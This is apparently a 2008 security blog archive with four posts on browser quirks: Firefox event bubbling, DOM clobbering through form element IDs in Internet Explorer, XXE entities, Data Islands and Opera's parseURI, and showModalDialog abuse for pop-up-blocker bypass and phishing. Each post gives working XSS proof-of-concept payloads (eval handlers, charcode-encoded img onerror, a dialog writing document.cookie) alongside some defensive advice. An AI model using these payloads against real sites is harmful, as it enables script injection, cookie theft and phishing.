Showing posts with label w3c. Show all posts
Showing posts with label w3c. Show all posts

November 20, 2008

Bubbling, foreign events and Firefox

Intro

One of the major differences of the back then two important browsers was how they handled events. Microsoft worked with the bubbling phase - meaning the event first passes the parent elements and then runs down to the target element. Netscape did it the exact other way - and had the event first hit on the target element and then traverse the whole DOM upwards hitting on the parent nodes - capturing. This caused developers in the early days a lot of trouble and the W3C finally specified an approach where both kind of works and can be used at free will.

The following code illustrates how it works - watch the order the alerts will pop up and tell what element is affected.

<html>
<body>
<ul>
<li onchange="alert(this)">
<form onchange="alert(this)" action="#">
<select onchange="alert(this)">
<option>change me!</option>
<option>yes!</option>
</select>
</form>
</li>
</ul>
</body>
</html>

The interesting thing is that the most current Firefox versions still seem to carry a lot of the older code from back in the days when Mozilla was fresh and behaves extremely strange when coming to bubbling and foreign events

Some more code

Normally a LI element would not work together with an onselect event handler - which is good because if it would Firefox would kind of have to fire a select event as soon a list bullet is being clicked. But during the bubbling phase it actually does. Of course only in Firefox and no other of the tested browsers. The following example demonstrates that.

<html>
<body>
<ul>
<li onselect="alert(this)">
<form onselect="alert(this)" action="#">
<input type="text" onselect="alert(this)" value="select me!" />
</form>
</li>
</ul>

At least this doesn't work for all events - onerror and onload seem to be ignored and don't generate the above described effect. For an attacker that means events can be captured even if a filter would block the injection of matching elements - in case the injectable element can be placed as parent node of the element that handles the event and is meant to be hijacked.

Conclusion

That behavior could be described as a bug - and is not reproducible on any other browser than Firefox and other Gecko based software. Even more irritating is the fact that Firefox seems to have severe difficulties with parsing the page in the right order when bubbling. Let's have a look at the next example.

<html onclick="alert(this)">
<body onclick="alert(this)">
<div onclick="alert(this)"></div>
<div onclick="alert(this)">
<a href="#" onclick="alert(this)" id="test">foo</a>
</div>
</body>
</html>

On some machines the last alert Firefox produces says [object Window] - on others it says [object HTMLBodyElement and not the HTML object as any other browser would do. So as it seems the parser has difficulties parsing the DOM tree during the bubbling phase - which again opens a small attack window in certain scenarios.

The series of articles on events will be continued the next weeks so stay tuned for more.

November 12, 2008

HTML Form Controls reviewed

Intro

Inspired by a post by John Resig about conflicts between HTML element IDs and DOM properties/JavaScript variables I started to think about related techniques that would lead to security risks or even vulnerabilities. Garrett Smith and Frank Manno also crafted an excellent writeup about this topic and related problems if you prefer a deeper introduction into form controls and unsafe names. And guess who copied this feature from whom?

Some Code

Let's have a short look at what we are talking about here. First we have a bunch of markup - a simple form. Notice the IDs the elements have.

<form id="a">
<input id="b" />
</form>

It's now possible to access the elements directly with window.a and window.b - or just a or b. We can also traverse through a to get b with a.b. The traversal only works for elements which make their child elements accessible via a numeric index - this being basically forms and their input elements. You can do the same with name attributes of images and forms but only in the document scope - we won't touch that aspect here.

But what if the form elements have IDs like location and href? Theoretically they should be accessible via location.href - generating a severe conflict with an already existing and pretty important DOM property.

<form id="location">
<input id="href">
</form>

Opera, Firefox, Gecko and Safari know how to deal with attempts like these. Most of the really interesting DOM properties are protected from being touched via form controls - such as navigator, window, document, location etc. But actually it's possible to overwrite a lot of DOM properties like the following example shows.

<form id="a">
<button id="length">0</button>
<button id="style">1</button>
<button id="id">2</button>
<button id="className">3</button>
<button id="baseURI">4</button>
<button id="textContent">5</button>
<button id="innerHTML">6</button>
<button id="title">7</button>
<button id="elements">8</button>
<button id="method">9</button>
</form>

The element with the ID id can now be accessed via id. Or a.id - since it resides in a's properties too. We can also set variables - for example via var b = id.id - which in this case would be id. The next example tries to be less confusing and shows how window.lang can be overwritten and then have it's vale being executed by a single assignment. There's no reason why someone would write code like that but it works.

<a id="url" href="javascript:alert(1)">
<script>
location=url;
</script>

Conclusion already?

Altogether this thing doesn't seem to be very interesting from a security point of view. The juicy properties can't be overwritten, an attacker has to be able to inject form elements with IDs - most WYSIWYG implementations allow that by the way. What makes the issue even more boring is the fact that if the variable has already been set before the markup is being parsed, it won't get reset by the injected HTML elements.

But - maybe you noticed one important browser missing on the above mentioned list. The Internet Explorer of course. IE6 up to IE8 Beta 2 don't care if properties like location or document shouldn't be set via markup and IDs. So - incredible but true - the following code works perfectly in all tested IE versions.

<form id="document" cookie="foo">
<script>alert(document.cookie)</script>

Or:

<form id="location" href="bar">
<script>alert(location.href)</script>

It's also possible to interfere with really important variables like document.cookie, document.body.innerHTML and almost all others I tested. The technique doesn't depend on doctype or apparently other factors to work. Furthermore you can define own attributes and have their value being accessible via traversal - like in the document.cookie example.

<form id="document">
<select id="body">bar</select>
</form>
<script>
alert(document.body.innerHTML)
</script>

Scripts being used on millions of pages like Google Analytics work with those properties and are usually included right before the closing body tag. Depending on the position where the markup containing the malicious attributes and IDs can be injected it's at least possible to influence the JavaScript application flow or in the worst case execute arbitrary code - nested in the HTML attributes. In case an application allows the user to post inactive HTML it's very important to make sure the submitted and to be rendered elements mustn't contain IDs. In some cases it may make sense to initially set the properties with themselves - and therewith blocking them from being overridden by markup.

November 07, 2008

Fun with XXE, Data Islands and parseURI

Intro

Since the browser that changed it all was released in early 1999 most of the major payers in this section have been toying around with XML, processing, displaying and transforming it. Thus most browsers know one or a lot more ways to fetch data from other resources, work with DTDs and entities. Some of them are being shown and explained in this article.

Code

Firefox and all other major browsers but IE implemented an XML feature called XXE - XML eXternal Entities. Securiteam wrote about this issue many years ago and it found a kind of resurrection in the Google Caja Wiki. Basicaly XXE means it's possible to define entities for complete strings and markup stripes in the DOCTYPE area of the sites header.

<!DOCTYPE xss
[
<!ENTITY x "<script>alert(this)</script>">
]
>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
&x;
</head>
</html>

Unfortunately is doesn't seem to be possible to inherit the entities from the site itself to embedded frames or IFrames. Otherwise it would have been possible to inject tons of script code with just a combination or &, some word characters and a semicolon.

Internet Explorer covers its ignorance against XXE with a feature called Data Islands. This allows to add a XML tag to the document linking to a resource containing valid XML. If the parser later on finds certain attributes in the DOM the data from the XML is being checked for a match and if everything fits right applied to the markup.

There are some basic security rules that forbid the data from the XML file to be applied to a script tag or escaping certain special chars before they are placed in the DOM - but that can be easily circumvented.

<html>
<body>
<xml id="xss" src="island.xml"></xml>
<label
onmouseover=eval(this.innerHTML)
style=color:#fff;display:block;width:100%;height:100%
datasrc=#xss
datafld=payload>

Here we can see the corresponding XML data with embedded JavaScript code. Surprisingly this time IE had problems with parsing the data when being encoded to UTF-7 - we only managed to get the script code being executed in combination with ISO or UTF-8 encoding.

<?xml version="1.0"?>
<x>
<payload>
document.write(
String.fromCharCode(
60,105,109,103,32,115,114,99,61,120,32,111,110,
101,114,114,111,114,61,97,108,101,114,116,40,34,
88,83,83,34,41,62
)
)
</payload>
</x>

When using the dataformatas parameter it's even possible to treat the incoming XML data as HTML. IE8 won't allow script tags but can be fooled to execute JavaScript code via img tag and error handler. Here's the markup:

<html>
<body>
<xml id="xss" src="island.xml"></xml>
<label dataformatas="html" datasrc="#xss" datafld="payload"></label>
</body>
</html>

Andthe corresponding Data Island code:

<?xml version="1.0"?>
<x>
   <payload>
       <![CDATA[<img src=x onerror=alert(top)>>]]>
   </payload>
</x>

Opera knows XXE as well as Safari and Chrome - but of course no Data Islands. But Opera also features another way of fetching XML content into the DOM. The function is called parseURI and is a method of the the LSParser class which is located in the document.implementation object. All those features are documented in the DOM Level 3 Load and Save specs.

<script>
var parser = document.implementation.createLSParser(1, null);
var mdlfile = parser.parseURI('data:;,<x>document.write(String.fromCharCode(88,83,83))</x>');
eval(mdlfile.documentElement.text)
</script>

The method can neither access off-domain resources nor the file system, opera: or javascript: URIs. But dataURIs are allowed and thus the content of the string to parse can be chosen quite arbitrarily. Of course this time one can go all the ways and encode the string to UTF-7, base64 or whatever is necessary.

Conclusion

One might wonder that browser vendors are each and everyone brewing their own sub-standards and XML soups. Any solution has its flaws but no one besides the Opera allows to include data which is not located on the same domain. Once parseURI can be executed combined with a dataURI the possibilities are endless - and it's very hard to determine origin and content of the payload. For all other described variants one has to have at least an XML file lying around on the same domain.

It's 2008 right now and browser vendors seems to have learned what the cross domain border is. None of the techniques was able to download content from off-domain resources - except the dataURI issue with parseURI and Opera. Opera by the way features a lot more methods and properties inside the document.implementation object which we will shed more light on in later articles.

November 05, 2008

ShowModalDialog() and Firefox

Intro

Firefox has been "reverse engineering" a lot of features Internet Explorer ventured to release past the W3C specifications - including the already mentioned oncopy/oncut/onpaste events. A very special one of those is the implementation of showModalDialog(). Imagine this feature to be like an alert - but only filled with arbitrary HTML via a URL, dataURI or javascript: URI.

Code

<html>
<head>
<script>
onfocus = function() {
 name = 'javascript:with(this)with(document)write(cookie)';
 showModalDialog(
     name,
     null,
     'unadorned:no,dialogWidth:4000%,dialogHeight:2000%,scroll:0,status:0,resizable:0,edge:sunken'
 );
 onfocus = null;
}
</script>
</head>
<body>
</body>
</html>

Interesting is on the one hand that it's possible to circumvent the pop-up blockers in most recent browser releases by just choosing window.onfocus as triggering event. Firefox 3 shows a warning on the originating view that a pop up has been blocked - but renders the modal window anyway. If triggered early enough it also outruns a window.onload. Onfocus seems to be considered as an event that has to be triggered by user interaction so the pop up blocker lets it pass - like with onclick or ondblclick. And not to forget - onfocus on window fires as soon as the window's document is starting to load.

The major problem is the fact that the showModalDialog() method is either a member of window and can be parametrized. It's therefore possible to let a GUI element pop up that might give the user the impression that it's a browser instance itself. Just add most common browser buttons as image map - depending on the used user agent, give the window the right dimensions and position and most users will fall for it.

Furthermore the dialog being spawned cancels all code execution happening between the time of the spawning and the moment the modal is being closed again. The browser can access the origination window object as well as methods like dump().

Conclusion

ShowModalDialog() is one of the more or less useless and standard agnostic techniques that is predestined for fishing without even a real world use for most if not all applications. Security aware developers might want to make sure by overwriting this method that an XSS on their platform has less impact than necessary. Thanks to the flexibility of JavaScript it's more easy then expected - just set showModalDialog = null at the earliest point in your DOM that is possible - most perfectly at a spot where no user input is being expected before. Safari and Opera are by the way not affected - they just ignore the method call or throw an error since it's not implemented.